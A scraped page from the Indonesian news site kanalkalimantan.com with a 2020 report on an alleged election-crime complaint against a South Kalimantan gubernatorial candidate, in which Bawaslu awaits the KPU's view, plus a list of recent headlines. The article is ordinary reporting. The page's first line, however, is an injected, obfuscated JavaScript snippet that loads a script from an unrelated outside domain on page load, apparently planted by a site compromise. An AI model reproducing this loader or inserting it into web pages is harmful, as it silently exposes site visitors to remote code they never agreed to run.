(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: HEADLINE

Dugaan Pelanggaran di Pilgub Kalsel, Bawaslu Tunggu Pandangan KPU


KANALKALIMANTAN.COM, BANJARMASIN – Kasus dugaan pelanggaran pidana Pemilu di Kabupaten Hulu Sungai Utara (HSU) saat ini tengah ditangani Sentra Penegakan Hukum Terpadu (Gakkumdu) Kalsel. Pelapor Tim Hukum pasangan calon (paslon) Denny Indrayana-Difriadi Darjat dan terlapor yaitu Calon Gubernur Gubernur Sahbirin Noor sudah dimintai keterangan.

Kepada awak media, Selasa (6/10/2020) siang, Kordiv Penindakan Pelanggaran Bawaslu Provinsi Kalsel Azhar Ridhanie mengungkapkan, pihaknya belum melaksanakan pleno terkait laporan dugaan pelanggaran pidana Pemilu ini. “Kami akan pleno dulu dengan pimpinan Bawaslu Provinsi Kalsel, yang mana akan kami lakukan pembahasan dengan Sentra Gakkumdu,” katanya, Selasa (6/10/2020) siang.

Aldo -sapaannya- menjelaskan, pada pleno akan membahas hasil klarifikasi, kajian maupun pemeriksaan sejumlah pihak. Hanya saja, pihaknya masih menunggu perspektif dari KPU Provinsi Kalsel untuk dimintai pandangan terkait dugaan pelanggaran itu.

“KPU Provinsi Kalsel kami undang, namun mereka tidak berkenan hadir. Itu saja,” imbuh Aldo.

Sayangnya, Aldo tidak mengetahui alasan ketidakhadiran jajaran KPU Provinsi Kalsel untuk dimintai pandangan. Aldo sendiri justru tidak mempermasalahkan, kendati telah dua kali mengundang komisioner KPU Provinsi Kalsel.

“Sebenarnya tidak masalah. Karena kita ingin meminta perspektif dari KPU saja. Orang mau berhadir atau tidak (bukan masalah), tetapi tentu saja rekomendasinya tetap ke KPU,” jelas Aldo.

Kendati demikian, Aldo menyebut ada konfirmasi dari staf Sekretariat KPU Provinsi Kalsel yang menginformasikan ketidakhadiran komisioner KPU Provinsi Kalsel untuk memenuhi undangan Sentra Gakkumdu Kalsel.

Lalu, kapan Sentra Gakkumdu Kalsel akan mengkaji laporan dugaan pelanggaran pemilu ini? “Hari ini kami terakhir melakukan kajian. (Karena) dua kali (KPU Provinsi Kalsel) kami lakukan pemanggilan (tak hadir), maka kami akan lakukan kajian langsung,” pungkas Aldo. (kanalkalimantan.com/fikri)

 

Reporter: Fikri
Editor: Bie


Desy Arfianty

Recent Posts

Bupati Kapuas Resmikan Kantor Kelurahan Selat Hulu

KANALKALIMANTAN.COM, KUALA KAPUAS - Kantor Kelurahan Selat Hulu yang berlokasi di Jalan Cilik Riwut Gang… Read More

8 jam ago

13 Februari Hari Persatuan Ahli Farmasi Indonesia: Ini Sejarahnya

KANALKALIMANTAN.COM - Insan farmasi di Indonesia setiap tanggal 13 Februari memperingati Hari Persatuan Ahli Farmasi… Read More

10 jam ago

BI Kalsel Selenggarakan SERAMBI 2026, Dukung Kebutuhan Uang Kartal Periode Ramadan dan Idulfitri

KANALKALIMANTAN.COM, BANJARMASIN – Kantor Perwakilan (KPw) Bank Indonesia (BI) Provinsi Kalimantan Selatan menggelar kick off… Read More

11 jam ago

KPK Dalami Hubungan Jabatan Kepala KPP Madya Banjarmasin di 12 Perusahaan

KANALKALIMANTAN.COM, JAKARTA - Komisi Pemberantasan Korupsi (KPK) sedang mendalami hubungan antara jabatan direksi yang dimiliki… Read More

20 jam ago

Gubernur Muhidin Ingatkan Dana Transfer Pusat Dimanfaatkan Optimal

KANALKALIMANTAN.COM, BANJARMASIN – Gubernur Kalimantan Selatan (Kalsel) H Muhidin meminta langkah strategis untuk memastikan dana… Read More

20 jam ago

Upaya Mencegah Perkawinan Usia Anak di Balangan

KANALKALIMANTAN.COM, PARINGIN - Upaya mencegah perkawinan usia anak, Dinas Pemberdayaan Perempuan, Perlindungan Anak, Pengendalian Penduduk,… Read More

21 jam ago

This website uses cookies.